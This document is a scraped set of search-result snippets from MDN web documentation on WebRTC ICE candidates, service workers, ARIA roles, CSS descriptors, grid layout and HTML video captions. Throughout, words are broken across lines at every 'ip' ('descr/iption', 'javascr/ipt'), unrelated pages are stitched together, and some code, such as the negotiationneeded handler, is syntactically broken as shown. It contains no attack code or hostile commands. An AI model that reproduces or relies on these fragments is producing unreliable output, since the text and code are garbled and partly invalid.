this is used to help optimize ice performance while prioritizing and correlating candidates that appear on mult
iple rtcicetransport objects.
...
ip read only a domstring containing the
ip address of the candidate.
... relatedaddress read only if the candidate is derived from another candidate, relatedaddress is a domstring containing that host candidate's
ip address.
... sdpmlineindex read only if not null, sdpmlineindex indicates the zero-based index number of the media descr
iption (as defined in rfc 4566) in the sdp with which the candidate is associated.
RTCIceCandidateStats.candidateType - Web APIs
syntax candidatetype = rtcicecandidatestats.candidatetype; value a domstring whose value is one of the strings found in the rtcicecandidatetype enumerated type:host the candidate is a host candidate, whose
ip address as specified in the rtcicecandidate.
ip property is in fact the true address of the remote peer.
... srflx the candidate is a server reflexive candidate; the
ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously.
... prflx the candidate is a peer reflexive candidate; the
ip is an intermediary address assigned by the stun server to represent the candidate's peer anonymously.
...the relay candidate's
ip address is an address the turn server uses to forward the media between the two peers.
RTCIceCandidateType - Web APIs
host the candidate is a host candidate, whose
ip address as specified in the rtcicecandidate.
ip property is in fact the true address of the remote peer.
... srflx the candidate is a server reflexive candidate; the
ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously.
... prflx the candidate is a peer reflexive candidate; the
ip is an intermediary address assigned by the stun server to represent the candidate's peer anonymously.
...the relay candidate's
ip address is an address the turn server uses to forward the media between the two peers.
RTCInboundRtpStreamStats - Web APIs
this is an indicator of how often the stream has lagged, requiring frames to be sk
ipped in order to catch up.
...this id is stable across mult
iple calls to getstats().
...this id is stable across mult
iple calls to getstats().
...this id is stable across mult
iple calls to getstats().
RTCPeerConnection: negotiationneeded event - Web APIs
see signaling transaction flow in signaling and video calling for a descr
iption of the signaling process that begins with a negotiationneeded event.
... pc.addeventlistener("negotiationneeded", ev => { pc.createoffer() .then(offer => return pc.setlocaldescr
iption(offer)) .then(() => sendsignalingmessage({ type: "video-offer", sdp: pc.localdescr
iption })) .catch(err => { /* handle error */ ); }, false); after creating the offer, the local end is configured by calling rtcpeerconnection.setlocaldescr
iption(); then a signaling message is created and sent to the remote peer through the signaling server, to share that offer with the other peer.
... the other peer should recognize this message and follow up by creating its own rtcpeerconnection, setting the remote descr
iption with setremotedescr
iption(), and then creating an answer to send back to the offering peer.
... you can also set an event handler for the negotiationneeded event by assigning the event handler function to the rtcpeerconnection.onnegotiationneeded property: pc.onnegotiationneeded = ev => { pc.createoffer() .then(offer => return pc.setlocaldescr
iption(offer)) .then(() => sendsignalingmessage({ type: "video-offer", sdp: pc.localdescr
iption })) .catch(err => { /* handle error */ ); }; for a more detailed example, see starting negotiation in signaling and video calling.
ServiceWorkerGlobalScope - Web APIs
pushsubscr
iptionchange occurs when a push subscr
iption has been invalidated, or is about to be invalidated (e.g.
... also available via the serviceworkerglobalscope.onpushsubscr
iptionchange property.
... methods serviceworkerglobalscope.sk
ipwaiting() allows the current service worker registration to progress from waiting to active state while service worker clients are using it.
... examples this code sn
ippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
Storage Access API - Web APIs
the embedding website needs to add this to allow storage access requests to be successful, along with allow-scr
ipts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scr
ipts allow-same-origin"> ...
...from the user’s perspective, they only have a third-party relationsh
ip with that origin.
...scr
ipts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send cookie headers and honor incoming set-cookie headers.
... documentation for firefox's new storage access policy for blocking tracking cookies includes a detailed descr
iption of the scope of storage access grants.
SubtleCrypto.digest() - Web APIs
sha-1 this algorithm is specified in f
ips 180-4, section 6.1, and produces an output 160 bits long.
... sha-256 this algorithm is specified in f
ips 180-4, section 6.2, and produces an output 256 bits long.
... sha-384 this algorithm is specified in f
ips 180-4, section 6.5, and produces an output 384 bits long.
... sha-512 this algorithm is specified in f
ips 180-4, section 6.4, and produces an output 512 bits long.
Text.wholeText - Web APIs
<strong>no ins
ipid election coverage!</strong> however, <a href="http://en.wik
ipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don’t like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, “thru-hiking is great, but casting a ballot is tricky.” while preserving the hyperlink.
...instead, you now effectively have this: <p>thru-hiking is great, but however, <a href="http://en.wik
ipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you’d really prefer to treat all those adjacent text nodes as a single one.
... that’s where wholetext comes in: if you have mult
iple adjacent text nodes, you can access the contents of all of them using wholetext.
...what we have now is this: <p>thru-hiking is great, but <a href="http://en.wik
ipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that’s fine and probably clearer in most circumstances.
TextEncoder.prototype.encodeInto() - Web APIs
u8array.subarray(position|0) : u8array); } var u8array = new uint8array(8); encodeintoatposition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 buffer sizing to convert a javascr
ipt string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes.
... if the behavior of your allocator is unknown, you might want to have up to two reallocation steps and make the the first reallocation step mult
iply the remaining unconverted length by two instead of three.
... however, in that case, it makes sense not to implement the usual mult
iplying by two of the already written buffer length, because in such a case if a second reallocation happened, it would always overallocate compared to the original length times three.the above advice assumes that you don't need to allocate space for a zero terminator.
... if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your wasm program from seeing a logically truncated string if the javascr
ipt string contained u+0000.
Touch() - Web APIs
"radiusx", optional and defaulting to 0, of type float, that is the radius of the ell
ipse which most closely circumscribes the touching area (e.g.
... "radiusy", optional and defaulting to 0, of type float, that is the the radius of the ell
ipse which most closely circumscribes the touching area (e.g.
... "rotationangle", optional and defaulting to 0, of type float, that is the angle (in degrees) that the ell
ipse described by radiusx and radiusy is rotated clockwise about its center; 0 if no value is known.
...if the ell
ipse described by radiusx and radiusy is circular, then rotationangle has no effect.
Touch.radiusY - Web APIs
summary returns the y radius of the ell
ipse that most closely circumscribes the area of contact with the touch surface.
... this value, in combination with touch.radiusx and touch.rotationangle constructs an ell
ipse that approximates the size and shape of the area of contact between the user and the screen.
... this may be a large ell
ipse representing the contact between a fingert
ip and the screen or a small one representing the t
ip of a stylus, for example.
... syntax var yradius = touchitem.radiusy; return value yradius the y radius of the ell
ipse that most closely circumscribes the area of contact with the screen.
ARIA: tab role - Accessibility
<button role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id">tab label</button> descr
iption an element with the tab role controls the visibility of an associated element with the tabpanel role.
... required javascr
ipt features while there are ways to build tab-like functionality without javascr
ipt, there are no substitute combination of html and css only that will provide the same set of functionality that's required above for accessible tabs with content.
...all of the tabpanel elements have tabindex=0 to make them tabbable, and all but the currently active one have the hidden attribute, which we will change with javascr
ipt.
... grey; border-bottom: 0; padding: 0.2em; } [role="tab"][aria-selected="true"] { z-index: 3; } [role="tabpanel"] { position: relative; padding: 0 0.5em 0.5em 0.7em; border: 1px solid grey; border-radius: 0 0 5px 5px; background: white; z-index: 2; } [role="tabpanel"]:focus { border-color: orange; outline: 1px solid orange; } there are two things we need to do with javascr
ipt: we need to change focus and tab index of our tab elements with the right and left arrows, and we need to change the active tab and tabpanel when we click on a tab.
ARIA: table role - Accessibility
div> <div role="row" aria-rowindex="16"> <span role="cell">header</span> <span role="cell">h6</span> </div> <div role="row" aria-rowindex="18"> <span role="cell">rowgroup</span> <span role="cell">thead</span> </div> <div role="row" aria-rowindex="24"> <span role="cell">term</span> <span role="cell">dt</span> </div> </div> </div> descr
iption an element with role="table" is a static tabular structure with rows containing cells.
...if the table includes cells that span mult
iple rows or mult
iple columns, then aria-rowspan or aria-colspan should be included as well.
... aria-describedby attribute takes as its value the id of the element that serves as a descr
iption for the table.
... keyboard interactions none required javascr
ipt features none.
WAI-ARIA Roles - Accessibility
a figure is generally considered to be one or more images, code sn
ippets, or other content that puts across information in a different way to a regular flow of text.aria: form rolethe form landmark role can be used to identify a group of elements on a page that provide equivalent functionality to an html form.aria: grid rolethe grid role is for a widget that contains one or more rows of cells.
...to give the page more structure, a level should also be provided to indicate relationsh
ips between sections.aria: img rolethe aria img role can be used to identify mult
iple elements inside page content that should be considered as a single image.
... these elements could be images, code sn
ippets, text, emojis, or other content that can be combined to deliver information in a visual manner.aria: list rolethe aria list role can be used to identify a list of items.
...rquee math menu menubar menuitem menuitemcheckbox menuitemradio none note option presentation progressbar - old page radio - old page radiogroup range region roletype rowheader(estelle) scrollbar searchbox section sectionhead select separator slider - old page spinbutton status - old page structure tab tablist (michiel) tabpanel (michiel) term timer toolbar toolt
ip tree treegrid treeitem widget window ...
Alerts - Accessibility
instead of using the javascr
ipt ‘alert’ function, we’ll use a simple wai-aria widget for notification.
... this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the “onblur” handler in javascr
ipt's default ‘alert’ function).
... below is example javascr
ipt code which could be inserted above the closing “head” tag: <scr
ipt type="application/javascr
ipt"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg); newalert.appendchild(msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true");...
... addalert(amsg); } else { elem.setattribute("aria-invalid", "false"); removeoldalert(); } } </scr
ipt> the checkvalidity function the primary method in javascr
ipt used for form validation is the checkvalidity function.
Robust - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the robust princ
iple of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... note: to read the w3c definitions for robust and its guidelines and success criteria, see princ
iple 4: robust — content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
...when scr
ipting custom components, you will need to use wai-aria roles and other features to make sure your controls will be interpreted and are able to be used as intended, e.g.
... understanding status messages note: also see the wcag descr
iption for guideline 4.1: compatible: maximize compatibility with current and future user agents, including assistive technologies.
Accessibility
css and javascr
ipt accessibility best practices css and javascr
ipt, when used properly, also have the potential to allow for accessible web experiences ...
...this article outlines some css and javascr
ipt best practices that should be considered to ensure even complex content is as accessible as possible.
... wai-aria basics following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascr
ipt-updated content can be difficult.
... keyboard-navigable javascr
ipt widgets until now, web developers who want to make their styled <div> and <span> based widgets accessible have lacked the proper techniques.
additive-symbols - CSS: Cascading Style Sheets
the additive-symbols descr
iptor lets you specify symbols when the value of a counter system descr
iptor is additive.
... the additive-symbols descr
iptor defines additive tuples, each of which is a pair containing a symbol and a non-negative integer weight.
... syntax additive-symbols: 3 "0"; additive-symbols: 3 "0", 2 "\2e\20"; additive-symbols: 3 "0", 2 url(symbol.png); when the system descr
iptor is cyclic, numeric, alphabetic, symbolic, or fixed, use the symbols descr
iptor instead of additive-symbols.
...]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
range - CSS: Cascading Style Sheets
when defining custom counter styles, the range descr
iptor lets the author specify a range of counter values over which the style is applied.
... syntax /* keyword value */ range: auto; /* range values */ range: 2 5; range: infinite 10; range: 6 infinite; range: infinite infinite; /* mult
iple range values */ range: 2 5, 8 10; range: infinite 6, 10 infinite; values auto the range depends on the counter system: for cyclic, numeric, and fixed systems, the range is negative infinity to positive infinity.
... if the lower bound of any range is higher than the upper bound, the entire descr
iptor is invalid and will be ignored.
... descr
iption the value of the range descr
iptor can be either auto or a comma separated list of lower and upper bounds specified as integers.
font-stretch - CSS: Cascading Style Sheets
the font-stretch css descr
iptor allows authors to specify a normal, condensed, or expanded face for the fonts specified in the @font-face rule.
... for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-stretch descr
iptor to explicitly specify the font face's stretch.
... the values for the css descr
iptor is same as that of its corresponding font property.
... syntax /* single values */ font-stretch: ultra-condensed; font-stretch: extra-condensed; font-stretch: condensed; font-stretch: semi-condensed; font-stretch: normal; font-stretch: semi-expanded; font-stretch: expanded; font-stretch: extra-expanded; font-stretch: ultra-expanded; font-stretch: 50%; font-stretch: 100%; font-stretch: 200%; /* mult
iple values */ font-stretch: 75% 125%; font-stretch: condensed ultra-condensed;; the font-weight property is described using any one of the values listed below.
font-style - CSS: Cascading Style Sheets
the font-style css descr
iptor allows authors to specify font styles for the fonts specified in the @font-face rule.
... for a particular font family, authors can download various font faces which correspond to the different styles of the same font family, and then use the font-style descr
iptor to explicitly specify the font face's style.
... the values for the css descr
iptor is same as that of its corresponding font property.
... on the other hand, if a true italicized version of the font family exists, we can include it in the src descr
iptor and specify the font style as italic, so that it is clear that the font is italicized.
src - CSS: Cascading Style Sheets
the src css descr
iptor of the @font-face rule specifies the resource containing font data.
... url(path/to/font.woff) format("woff"); /* explicit format */ src: url('path/to/font.woff'); /* quoted url */ src: url(path/to/svgfont.svg#example); /* fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* mult
iple items */ src: local(font), url(path/to/font.svg) format("svg"), url(path/to/font.woff) format("woff"), url(path/to/font.otf) format("opentype"); values <url> [ format( <string># ) ]?
...if a user agent doesn't support the specified formats, it sk
ips downloading the font resource.
... descr
iption the value of this descr
iptor is a prioritized, comma-separated list of external references or locally-installed font face names.
@keyframes - CSS: Cascading Style Sheets
descr
iption javascr
ipt can access the @keyframes at-rule with the css object model interface csskeyframesrule.
... resolving duplicates if mult
iple keyframe sets exist for a given name, the last one encountered by the parser is used.
...there is cascading within a @keyframes rule if mult
iple keyframes specify the same percentage values.
... when a keyframe is defined mult
iple times if a keyframe is defined mult
iple times but not all affected properties are in each keyframe, all values specified in these keyframes are considered.
viewport-fit - CSS: Cascading Style Sheets
the viewport-fit css @viewport descr
iptor controls how a document's viewport fills the screen.
... this descr
iptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet.
... accessibility concerns when using the viewport-fit descr
iptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the safe area inset variables.
... formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css round display level 1the definition of '"viewport-fit" descr
iptor' in that specification.
Introduction to formatting contexts - CSS: Cascading Style Sheets
elements partic
ipating in a bfc use the rules outlined by the css box model, which defines how an element's margins, borders, and padding interact with other blocks in the same context.
...there are some occasions in which you will find you get unwanted scrollbars or cl
ipped shadows when you use this property purely to create a bfc.
... with display: flow-root on the <div>, everything inside that container partic
ipates in the block formatting context of that container, and floats will not poke out of the bottom of the element.
... the box model does not fully apply to items partic
ipating in an inline formatting context.
Basic Concepts of grid layout - CSS: Cascading Style Sheets
.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); column-gap: 10px; row-gap: 1em; } note: when grid first sh
ipped in browsers the column-gap, row-gap and gap were prefixed with the grid- prefix as grid-column-gap, grid-row-gap and grid-gap respectively.
...as these items are not direct children of the grid they do not partic
ipate in grid layout and so display in a normal document flow.
...round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); } .box { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .box1 { grid-column: 1 / 4; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } in this case the nested grid has no relationsh
ip to the parent.
... note: this feature sh
ipped in firefox 71, which is currently the only browser to implement subgrid.
Grid template areas - CSS: Cascading Style Sheets
ft ft ft ft ft ft"; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> in order to make the layout neater i can use mult
iple .
... spanning mult
iple cells in our example each of the areas spans mult
iple grid cells and we achieve this by repeating the name of that grid area mult
iple times with white space between.
...to do this, we redefine the grid to put the 1fr track last, and simply fl
ip the values in grid-template-areas.
... * {box-sizing: border-box;} .media { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 400px; } .media { display: grid; grid-template-columns: 1fr 3fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media.fl
ipped { grid-template-columns: 3fr 1fr; grid-template-areas: "content img"; } .media .image { grid-area: img; background-color: #ffd8a8; } .media .text { grid-area: content; padding: 10px; } <div class="media fl
ipped"> <div class="image"></div> <div class="text">this is a media object example.
Column layouts - CSS: Cascading Style Sheets
whether you use grid, flexbox or multi-column layout will depend on what you are trying to achieve, and in this rec
ipe we explore these options.
... mult
iple rows of columns lined up by row and column.
... the rec
ipes you need to choose different layout methods in order to achieve your requirements.
... download this example use grid: for mult
iple rows or columns of items.
Mozilla CSS extensions - CSS: Cascading Style Sheets
-align -moz-box-direction -moz-box-flex -moz-box-ordinal-group -moz-box-orient -moz-box-pack c–i -moz-context-properties -moz-float-edge -moz-force-broken-image-icon -moz-image-region o -moz-orient -moz-osx-font-smoothing -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright overflow-cl
ip-box overflow-cl
ip-box-block overflow-cl
ip-box-inline s–z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-moz-system-metric(scrollbar-end-backward) :-moz-system-metric(scrollbar-end-forward) :-moz-system-metric(scrollbar-start-backward) :-moz-system-metric(scrollbar-start-forward) :-moz-system-metric(scrollbar-thumb-propo...
... [prefixed version still accepted] -moz-animation-iteration-count [prefixed version still accepted] -moz-animation-name [prefixed version still accepted] -moz-animation-play-state [prefixed version still accepted] -moz-animation-timing-function [prefixed version still accepted] -moz-appearance b -moz-backface-visibility [prefixed version still accepted] -moz-background-cl
ipobsolete since gecko 2 -moz-background-originobsolete since gecko 2 -moz-background-inline-policyobsolete since gecko 32 [superseded by the standard version box-decoration-break] -moz-background-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [superseded by the standard version border-inline-end-color] -moz-border-en...
...-start [superseded by the standard version border-inline-start] -moz-border-start-color [superseded by the standard version border-inline-start-color] -moz-border-start-style [superseded by the standard version border-inline-start-style] -moz-border-start-width [superseded by the standard version border-inline-start-width] -moz-box-sizing [prefixed version still accepted] c cl
ip-path [applying to more than svg] -moz-column-count [prefixed version still accepted] -moz-column-fill [prefixed version still accepted] -moz-column-gap [prefixed version still accepted] -moz-column-width [prefixed version still accepted] -moz-column-rule [prefixed version still accepted] -moz-column-rule-width [prefixed version still accepted] -moz-column-rule-style [prefix...
...ton-right scrollbarbutton-up scrollbar-small scrollbarthumb-horizontal scrollbarthumb-vertical scrollbartrack-horizontal scrollbartrack-vertical separator spinner spinner-downbutton spinner-textfield spinner-upbutton statusbar statusbarpanel tab tabpanels tab-scroll-arrow-back tab-scroll-arrow-forward textfield textfield-multiline toolbar toolbarbutton-dropdown toolbox toolt
ip treeheadercell treeheadersortarrow treeitem treetwisty treetwistyopen treeview window background-image gradients -moz-linear-gradient -moz-radial-gradient elements -moz-element sub-images -moz-image-rect() border-color -moz-use-text-colorobsolete since gecko 52 (removed in bug 1306214); use currentcolor instead.
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
this is, basically, a thin str
ip of wallpaper that could be stretched across the entire height of a block.
...contain, on the other hand, makes the image as large as possible while not being cl
ipped by the background area.
... contain case background: url(100px-height-3x4-ratio.svg); background-size: contain; the rendered output looks like this: notice how the entire image is rendered, fitting as best as possible into the box without cl
ipping any of it away.
...that causes the bottom of the image to be cl
ipped away.
animation-iteration-count - CSS: Cascading Style Sheets
if mult
iple values are specified, each time the animation is played the next value in the list is used, cycling back to the first value after the last one is used.
... syntax /* keyword value */ animation-iteration-count: infinite; /* <number> values */ animation-iteration-count: 3; animation-iteration-count: 2.4; /* mult
iple values */ animation-iteration-count: 2, 0, infinite; the animation-iteration-count property is specified as one or more comma-separated values.
... note: when you specify mult
iple values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... for more information, see setting mult
iple animation property values.
animation-timing-function - CSS: Cascading Style Sheets
ion: cubic-bezier(0.1, 0.7, 1.0, 0.1); animation-timing-function: steps(4, end); /* steps function keywords */ animation-timing-function: steps(4, jump-start); animation-timing-function: steps(10, jump-end); animation-timing-function: steps(20, jump-none); animation-timing-function: steps(5, jump-both); animation-timing-function: steps(6, start); animation-timing-function: steps(8, end); /* mult
iple animations */ animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ animation-timing-function: inherit; animation-timing-function: initial; animation-timing-function: unset; timing functions may be specified on individual keyframes in a @keyframes rule.
... step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) note: when you specify mult
iple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... for more information, see setting mult
iple animation property values.
...eritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none |...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
the children are described as partic
ipating in a flex formatting context.
...it behaves as block-level things do in relationsh
ip to other boxes in the layout.
...in addition to indicating whether something is block-level or inline-level in relationsh
ip to other boxes on the page, it now also indicates the formatting context inside the box it is applied to.
...you are creating a block formatting context, with a block-level box and children partic
ipating in normal flow.
ruby-position - CSS: Cascading Style Sheets
/* keyword values */ ruby-position: over; ruby-position: under; ruby-position: inter-character; /* global values */ ruby-position: inherit; ruby-position: initial; ruby-position: unset; syntax values over is a keyword indicating that the ruby has to be placed over the main text for horizontal scr
ipts and right to it for vertical scr
ipts.
... under is a keyword indicating that the ruby has to be placed under the main text for horizontal scr
ipts and left to it for vertical scr
ipts.
...nym of the modern over).opera no support nosafari no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scr
ipts to the standard over value used with ruby-align: start).webview android no support nochrome android no support nofirefox android full support 38opera android no support nosafari ios no support ...
... nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scr
ipts to the standard over value used with ruby-align: start).samsung internet android no support nointer-character experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support nosafari no support ...
<transform-function> - CSS: Cascading Style Sheets
descr
iption various coordinate models can be used to describe an html element's size and shape, as well as any transformations applied to it.
... transformation functions transformation functions alter the appearance of an element by man
ipulating the values of its coordinates.
... a linear transformation function is described using a 2×2 matrix, like this: ac bd the function is applied to an element by using matrix mult
iplication.
... background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } .select-form { margin-top: 50px; } javascr
ipt const selectelem = document.queryselector('select'); const example = document.queryselector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)';...
white-space - CSS: Cascading Style Sheets
d; /* ie 5.5-7 */ white-space: pre-wrap; /* modern browsers */ } in action html <div id="css-code" class="box"> p { white-space: <select> <option>normal</option> <option>nowrap</option> <option>pre</option> <option>pre-wrap</option> <option>pre-line</option> <option>break-spaces</option> </select> } </div> <div id="results" class="box"> <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliqu
ip ex ea commodo consequat.
... font-family: inherit; } #results { background-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white-space: normal; font-size: 14px; } var select = document.queryselector("#css-code select"); var results = document.queryselector("#results p"); select.addeventlistener("change", function(e) { results.setattribute("style", "white-space: "+e.target.value); }) <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliqu
ip ex ea commodo consequat.
word-break - CSS: Cascading Style Sheets
<code>word-break: normal</code></p> <p class="normal narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>2.
... <code>word-break: break-all</code></p> <p class="breakall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>3.
... <code>word-break: keep-all</code></p> <p class="keepall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>4.
... <code>word-break: break-word</code></p> <p class="breakword narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> css .narrow { padding: 10px; border: 1px solid; width: 500px; margin: 0 auto; font-size: 20px; line-height: 1.5; letter-spacing: 1px; } .normal { word-break: normal; } .breakall { word-break: break-all; } .keepall { word-break: keep-all; } .breakword { word-break: break-word; } specifications specification status comment css text module level 3the definition of 'word-break' in that specificati...
EXSLT
re supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascr
ipt style regular expressions.sets (set)the exslt sets package offers functions that let you perform set man
ipulation.strings (str)the exslt strings package provides functions that allow the man
ipulation of strings.
... functions math:highest() math:lowest() math:max() math:min() regular expressions the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascr
ipt style regular expressions.
... functions regexp:match() regexp:replace() regexp:test() sets the exslt sets package offers functions that let you perform set man
ipulation.
... functions set:difference() set:distinct() set:intersection() set:has-same-node() set:leading() set:trailing() strings the exslt strings package provides functions that allow the man
ipulation of strings.
Ajax - Developer guides
asynchronous javascr
ipt and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascr
ipt, dom, xml, xslt, and most importantly the xmlhttprequest object.
... although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascr
ipt.
...this article will explain how to use some ajax techniques, like: analyzing and man
ipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources.
... parsing and serializing xml how to parse an xml document from a string, a file or via javascr
ipt and how to serialize xml documents to strings, javascr
ipt object trees (jxon) or files.
Adding captions and subtitles to HTML5 video - Developer guides
video providers (such as the blender foundation) provide captions and subtitles in a text format with their videos, but they're usually in the subr
ip text (srt) format.
...if you are not interested in this, and just want to get straight into the javascr
ipt and more relevant css, sk
ip to the subtitle implementation section.
... no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascr
ipt implementation, but these will be mentioned at the appropriate place below.
... subtitle implementation a lot of what we do to access the video subtitles revolves around javascr
ipt.
Video player styling basics - Developer guides
javascr
ipt as mentioned above, a data-state attribute is used in various places for styling purposes and these are set using javascr
ipt.
...the internal <span> element used as the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via javascr
ipt) and it also has its background colour set.
... javascr
ipt that's really it for the immediate styling; the next task is making a number of javascr
ipt changes to ensure that everything works as expected.
... control visibility the first change is simple: the data-state for showing the video controls when javascr
ipt is available to the browser now needs to be set: // display the user defined video controls videocontrols.setattribute('data-state', 'visible'); progress bar support a check also needs to be made to set up the "fake" progress bar if the browser doesn't support the <progress> element: var supportsprogress = (document.createelement('progress').max !== undefined); if (!supportsprogress) progress.setattribute('data-state', 'fake'); button functionality this section looks at the javascr
ipt required for implementing the button functionality.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin attribute, valid on the <audio>, <img>, <link>, <scr
ipt>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data.
... these attributes are enumerated, and have the following possible values: keyword descr
iption anonymous cors requests for this element will have the credentials flag set to 'same-origin'.
... example: crossorigin with the scr
